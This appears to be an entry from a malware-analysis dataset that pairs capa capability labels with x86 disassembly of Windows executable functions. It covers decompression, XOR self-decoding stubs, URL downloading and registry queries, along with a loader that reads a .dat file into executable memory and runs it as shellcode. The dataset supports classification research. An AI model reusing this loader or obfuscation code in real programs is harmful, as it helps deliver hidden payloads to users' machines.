joyce8/EMBER2024-capa huggingface dataset:
Function at 0x877058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8771a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x87707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87706a
add dl, dl
jne 0x877089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8770dc
xor eax, eax
add dl, dl
jne 0x877096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87717d
add dl, dl
jne 0x8770a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8770b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8770bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8770c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8770d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x877075
mov eax, 1
add dl, dl
jne 0x8770ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8770f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8770e1
sub eax, ebx
mov ebx, 1
jne 0x877128
mov ecx, 1
add dl, dl
jne 0x87710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x877119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x877105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x877075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x87713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x87714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x877136
cmp eax, 0x7d00
jae 0x87716d
cmp eax, 0x500
jb 0x877168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x877075
cmp eax, 0x7f
ja 0x877170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x877075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x87719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x877075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x9f4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.009f41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9f407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9f406a
add dl, dl
jne 0x9f4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9f40dc
xor eax, eax
add dl, dl
jne 0x9f4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9f417d
add dl, dl
jne 0x9f40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9f40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9f4075
mov eax, 1
add dl, dl
jne 0x9f40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9f40e1
sub eax, ebx
mov ebx, 1
jne 0x9f4128
mov ecx, 1
add dl, dl
jne 0x9f410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9f4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9f4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9f4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9f413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9f414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9f4136
cmp eax, 0x7d00
jae 0x9f416d
cmp eax, 0x500
jb 0x9f4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9f4075
cmp eax, 0x7f
ja 0x9f4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9f4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9f419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9f4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x9301c0
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x9301c6
pop ebp
sub ebp, 6
sub ebp, 0x5301c0
jmp 0x930224
jmp 0x93022d
mov eax, 0x5301c0
add eax, ebp
add eax, 0x93
mov ecx, 0x62d
mov edx, 0x288be5
xor byte [eax], dl
inc eax
dec ecx
jne 0x930244
jmp 0x930257
invalid
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00407949
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00407949
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00407949
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00407949
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00407949
mov dword [0x41203c], eax
call fcn.00407949
test eax, eax
jge 0x402550
push 8
call fcn.00407949
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00407949
pop ecx
push 1
call fcn.00407949
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00407949
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00407949
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00407949
jmp 0x402495

Function at 0x407949
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x407958
pop dword [ebp - 0x50]
mov eax, 0x407958
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x34062
push 0
mov eax, 0xa23284e7
add eax, 0x5e0e5bf1
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xa672d764
sub ecx, 0xa672a581
mov ebx, eax
mov edi, 0x2fda41f2
add edi, 0xd066f9d2
add edi, dword [ebp - 0x50]
mov edx, 0xdae993a4
add edx, 0xdbdae728
sub dword [ebp - 0x40], 0xf04ebca4
mov esi, dword [edi]
xor dword [ebp - 0xc], 0x86b96a88
sub esi, edx
xor dword [ebp - 0x38], edi
mov dword [ebx], esi
sub dword [ebp - 0x34], eax
add ebx, 0x93ea737f
add ebx, 0x6c158c85
add edi, 4
loop 0x4079b2
add eax, 0x8b622d7d
sub eax, 0x8b61731e
xor ebx, ebx
add ebx, eax
add eax, 0x85b22b69
sub eax, 0x85b22b64
mov ecx, 0xe439678c
sub ecx, 0xe3f9678c
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10001030
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x10001106
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_Just4SocketKND2LXcJsvfl.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001106
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10001106
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001137
mov esp, ebp
pop ebp
ret

Function at 0x10001137
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001141
repz ret
jmp fcn.100013c3
Function at 0x10004f2a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100014c9
and dword [ebp - 0x14], 0
cmp dword [0x1000a784], 0
mov dword [ebp - 0x18], eax
jne 0x10004fdd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10005085
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10005085
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a784], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a788], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a78c], eax
call edi
push eax
call esi
mov dword [0x1000a794], eax
test eax, eax
je 0x10004fdd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a790], eax
mov eax, dword [0x1000a790]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10005036
cmp dword [0x1000a794], ecx
je 0x10005036
push eax
call esi
push dword [0x1000a794]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10005036
test ebx, ebx
je 0x10005036
call edi
test eax, eax
je 0x1000502d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000502d
test byte [ebp - 8], 1
jne 0x10005036
or dword [ebp + 0x10], 0x200000
jmp 0x10005069
mov eax, dword [0x1000a788]
cmp eax, dword [ebp - 0x18]
je 0x10005069
push eax
call esi
test eax, eax
je 0x10005069
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005069
mov eax, dword [0x1000a78c]
cmp eax, dword [ebp - 0x18]
je 0x10005069
push eax
call esi
test eax, eax
je 0x10005069
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a784]
call esi
test eax, eax
je 0x10005085
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10005087
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001137
leave
ret
Function at 0x4038f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov ecx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x18]
xor eax, eax
push esi
push edi
mov edi, dword [esp + 0x14]
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x40391f
pop edi
pop esi
pop ebx
ret 0x14
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push edi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40393d
pop ebp
pop edi
pop esi
pop ebx
ret 0x14
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebx + 4], ebp
pop ebp
pop edi
mov dword [ebx], eax
pop esi
mov eax, 1
pop ebx
ret 0x14

Function at 0x403960
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x46ca20
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
mov eax, dword [0x486d80]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov dword [esp + 0x14], vtable.CResourceUnpack.0
mov edx, dword [esp + 0x38]
xor ebx, ebx
mov dword [esp + 0x28], ebx
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x38]
push ecx
mov ecx, dword [0x48a250]
push edx
mov edx, dword [ecx + 0x28]
push eax
push 0x48a250
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call edx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], edx
cmp eax, ebx
je 0x403a27
mov eax, dword [0x488d58]
mov edx, dword [eax + 0xc]
mov ecx, 0x488d58
call edx
add eax, 0x10
mov dword [esp + 0x3c], eax
push 1
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0x34], 1
call fcn.0040d880
test eax, eax
jne 0x403a3d
mov byte [esp + 0x28], bl
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403a27
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x20
ret 0x18
mov esi, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
mov eax, esi
sub edx, esi
lea esp, [esp]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bx
jne 0x403a50
lea eax, [esi - 0x10]
mov byte [esp + 0x28], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403a7f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x20
ret 0x18
Function at 0x403b00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
push esi
push edi
push 0x1418
call fcn.0043bf30
mov esi, eax
add esp, 4
test esi, esi
je 0x403b6e
mov eax, dword [ebp + 8]
push 0x1000
lea edi, [esi + 4]
push 0
push edi
mov dword [esi], eax
mov dword [esi + 0x1414], 1
call fcn.0044efc0
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403b56
push 0x800
push eax
push edi
call fcn.0044ff5b
add esp, 0xc
push 0x410
lea ecx, [esi + 0x1004]
push 0
push ecx
call fcn.0044efc0
add esp, 0xc
jmp 0x403b70
xor esi, esi
xor eax, eax
mov edx, 0x403be0
mov edi, vtable.CSimpleThread.0
mov dword [esp + 8], edi
mov dword [esp + 0x20], 0x403be0
mov dword [esp + 0x24], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
test edx, edx
je 0x403bc5
lea eax, [esp + 0x10]
push eax
push 0
push esi
push 0x403be0
push 0
push 0
call fcn.0045147e
add esp, 0x18
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
test eax, eax
je 0x403bd4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x403c50
Capabilities:
Delete file
Download url
Receive data

Disassembly:
sub esp, 0x414
mov eax, dword [0x486d80]
xor eax, esp
mov dword [esp + 0x410], eax
cmp word [esi], 0
mov eax, dword [esp + 0x418]
je 0x403d06
test eax, eax
je 0x403cac
cmp word [eax], 0
je 0x403cac
push 0
push 0
push eax
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jl 0x403d06
mov eax, 1
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.0044efac
add esp, 0x414
ret 4
xor eax, eax
push 0x40e
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.0044efc0
add esp, 0xc
push 0
push 0
push 0x104
lea edx, [esp + 0xc]
push edx
push esi
push 0
call sub.urlmon.dll_URLDownloadToCacheFileW
test eax, eax
jl 0x403d06
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.0044efac
add esp, 0x414
ret 4
mov ecx, dword [esp + 0x410]
xor ecx, esp
xor eax, eax
call fcn.0044efac
add esp, 0x414
ret 4
Function at 0x403e30
Capabilities:
Delete file
Move file

Disassembly:
push 0xffffffffffffffff
push 0x46c9e1
mov eax, dword fs:[0]
push eax
sub esp, 0x81c
mov eax, dword [0x486d80]
xor eax, esp
mov dword [esp + 0x818], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x486d80]
xor eax, esp
push eax
lea eax, [esp + 0x830]
mov dword fs:[0], eax
mov edi, dword [esp + 0x840]
mov eax, dword [esp + 0x844]
mov ecx, dword [esp + 0x848]
mov edx, dword [esp + 0x84c]
mov dword [esp + 0x20], vtable.CResourceUnpack.0
lea esi, [esp + 0x18]
push esi
push edx
push ecx
xor ebx, ebx
mov dword [esp + 0x844], ebx
push eax
mov eax, dword [0x48a250]
mov ecx, dword [eax + 0x28]
push 0x48a250
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call ecx
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], ecx
cmp eax, ebx
je 0x403f25
mov edx, dword [0x488d58]
mov eax, dword [edx + 0xc]
mov ecx, 0x488d58
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
push ebx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x28]
push edx
mov byte [esp + 0x844], 1
call fcn.0040d880
test eax, eax
jne 0x403f2c
mov byte [esp + 0x838], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f25
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x40400d
push 0x800
lea ecx, [esp + 0x30]
push ebx
push ecx
call fcn.0044efc0
mov esi, dword [esp + 0x20]
add esp, 0xc
push 0x4789a4
push esi
lea edx, [esp + 0x34]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov eax, dword [0x488d58]
mov edx, dword [eax + 0xc]
mov ecx, 0x488d58
call edx
add eax, 0x10
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x83c], 2
call fcn.00403300
mov ebp, dword [esp + 0x1c]
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebp
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
call fcn.0040ddc0
add edi, 0x2a4
lea eax, [esp + 0x18]
call fcn.00402b70
mov eax, dword [edi]
push eax
call fcn.0043c130
mov edi, dword [edi]
add esp, 4
push 4
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x10]
mov byte [esp + 0x838], 1
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403fe5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
mov byte [esp + 0x838], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404008
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x830]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x818]
xor ecx, esp
call fcn.0044efac
add esp, 0x828
ret 0x10
Function at 0x404800
Capabilities:
Check if file exists

Disassembly:
push ecx
push esi
call fcn.004048a0
test eax, eax
jne 0x404841
mov esi, dword [esp + 0xc]
test esi, esi
je 0x40483c
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404841
push esi
call fcn.00404920
add esp, 4
test eax, eax
jne 0x404841
push 1
call fcn.0044eb40
push eax
push esi
call fcn.0044ed50
add esp, 0xc
xor eax, eax
pop esi
pop ecx
ret
mov eax, 1
pop esi
pop ecx
ret

Function at 0x404850
Capabilities:
Check if file exists

Disassembly:
push ecx
push esi
call fcn.004048a0
mov esi, dword [esp + 0xc]
test eax, eax
jne 0x404893
test esi, esi
je 0x40488c
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404893
push esi
call fcn.00404920
add esp, 4
test eax, eax
jne 0x404893
push 1
call fcn.0044eb40
push eax
push esi
call fcn.0044ed50
add esp, 0xc
xor eax, eax
pop esi
pop ecx
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop esi
pop ecx
ret 4

Function at 0x4049f0
Capabilities:
Check if file exists

Disassembly:
cmp dword [0x48a244], 0
jne 0x4049fe
jmp fcn.00404850
push esi
call fcn.004048a0
mov esi, dword [esp + 8]
test eax, eax
jne 0x404a24
test esi, esi
je 0x404a2f
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404a24
push esi
call fcn.00404920
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop esi
ret 4
xor eax, eax
pop esi
ret 4

Function at 0x404bd0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x486d80]
xor eax, esp
mov dword [esp + 0x210], eax
mov eax, dword [esp + 0x218]
cmp dword [eax + 8], 5
jne 0x404c83
cmp dword [eax + 0xc], 1
jb 0x404c83
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0044efc0
add esp, 0xc
lea edx, [esp + 4]
push edx
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 8]
push ecx
push str.CSDVersion
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0x208
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x404c83
lea edx, [esp + 8]
push str.Service_Pack_2
push edx
call fcn.0044fde8
add esp, 8
test eax, eax
jl 0x404c83
mov eax, 1
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0044efac
add esp, 0x214
ret 4
mov ecx, dword [esp + 0x210]
xor ecx, esp
xor eax, eax
call fcn.0044efac
add esp, 0x214
ret 4
Function at 0x404ca0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push esi
lea ecx, [esp + 0xc]
push ecx
push str.ProgramFilesDir
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x208
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x404cea
mov edx, dword [esp]
push edx
push esi
push str.ProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x404d26
mov eax, esi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404cf0
sub eax, edx
sar eax, 1
mov dword [esp], eax
cmp word [esi + eax*2 - 2], 0x5c
je 0x404d1d
mov ecx, 0x5c
mov word [esi + eax*2], cx
mov eax, dword [esp]
xor edx, edx
mov word [esi + eax*2 + 2], dx
mov eax, 1
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x404d30
Capabilities:
Get file version info

Disassembly:
mov eax, 0x2010
call fcn.0044fef0
mov eax, dword [0x486d80]
xor eax, esp
mov dword [esp + 0x200c], eax
push 0x1fff
lea eax, [esp + 0x11]
push 0
push eax
mov byte [esp + 0x18], 0
call fcn.0044efc0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
push esi
call sub.VERSION.dll_GetFileVersionInfoSizeW
test eax, eax
je 0x404dc9
cmp eax, 0x1fff
ja 0x404dc9
lea edx, [esp + 0xc]
push edx
push eax
push 0
push esi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x404dc9
lea eax, [esp + 8]
push eax
lea ecx, [esp + 4]
push ecx
push 0x478bf8
lea edx, [esp + 0x18]
push edx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x404dc9
mov eax, dword [esp]
movzx ecx, word [eax + 0xa]
mov dword [edi], ecx
mov eax, 1
mov ecx, dword [esp + 0x200c]
xor ecx, esp
call fcn.0044efac
add esp, 0x2010
ret
mov ecx, dword [esp + 0x200c]
xor ecx, esp
xor eax, eax
call fcn.0044efac
add esp, 0x2010
ret